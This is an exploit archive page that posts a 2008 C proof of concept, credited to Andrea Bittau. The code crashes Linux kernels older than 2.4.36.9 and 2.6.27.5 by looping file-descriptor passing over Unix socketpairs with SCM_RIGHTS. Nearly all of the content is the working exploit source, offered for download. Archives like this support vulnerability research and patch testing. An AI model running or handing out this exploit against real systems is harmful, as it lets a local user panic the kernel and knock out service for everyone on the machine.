exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

linux-panic.txt

linux-panic.txt
Posted Nov 11, 2008
Authored by Andrea Bittau

Linux Kernel versions below 2.4.36.9 and below 2.6.27.5 Unix sockets local kernel panic exploit.

tags | exploit, kernel, local
systems | linux, unix
SHA-256 | 36a5ca110eab71c262474f313e7de09aff1e5485f1c5bb1dc7dbd757c8e51291

linux-panic.txt

Change Mirror Download
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <assert.h>
#include <err.h>
#include <stdlib.h>

static int own_child(int *us)
{
int pid;
int s[2];
struct msghdr mh;
char crap[1024];
struct iovec iov;
struct cmsghdr *c;
int *fd;
int rc;

pid = fork();
if (pid == -1)
err(1, "fork()");

if (pid) {
close(us[1]);

return pid;
}

close(us[0]);

memset(&mh, 0, sizeof(mh));
iov.iov_base = "a";
iov.iov_len = 1;

mh.msg_iov = &iov;
mh.msg_iovlen = 1;
mh.msg_control = crap;
mh.msg_controllen = sizeof(crap);

c = CMSG_FIRSTHDR(&mh);
assert(c);

c->cmsg_level = SOL_SOCKET;
c->cmsg_type = SCM_RIGHTS;

fd = (int*) CMSG_DATA(c);
assert(fd);

c->cmsg_len = CMSG_LEN(sizeof(int));
mh.msg_controllen = c->cmsg_len;

while (1) {
if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1)
err(1, "socketpair()");

*fd = s[0];

rc = sendmsg(us[1], &mh, 0);
if (rc == -1)
err(1, "sendmsg()");

if (rc != iov.iov_len)
errx(1, "sent short");

close(s[0]);
close(us[1]);
us[1] = s[1];
}
}

static void own(void)
{
static int pid;
static int us[2];
char crap[1024];
char morte[1024];
struct cmsghdr *c;
int rc;
struct msghdr mh;
struct iovec iov;
int *fds;

if (!pid) {
if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1)
err(1, "socketpair()");
pid = own_child(us);
}

iov.iov_base = morte;
iov.iov_len = sizeof(morte);

memset(&mh, 0, sizeof(mh));
mh.msg_iov = &iov;
mh.msg_iovlen = 1;
mh.msg_control = crap;
mh.msg_controllen = sizeof(crap);

rc = recvmsg(us[0], &mh, 0);
if (rc == -1)
err(1, "recvmsg()");

if (rc == 0)
errx(1, "EOF");

c = CMSG_FIRSTHDR(&mh);
assert(c);
assert(c->cmsg_type == SCM_RIGHTS);

fds = (int*) CMSG_DATA(c);
assert(fds);

close(us[0]);
us[0] = *fds;
}

int main(int argc, char *argv[])
{
own();
exit(0);
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close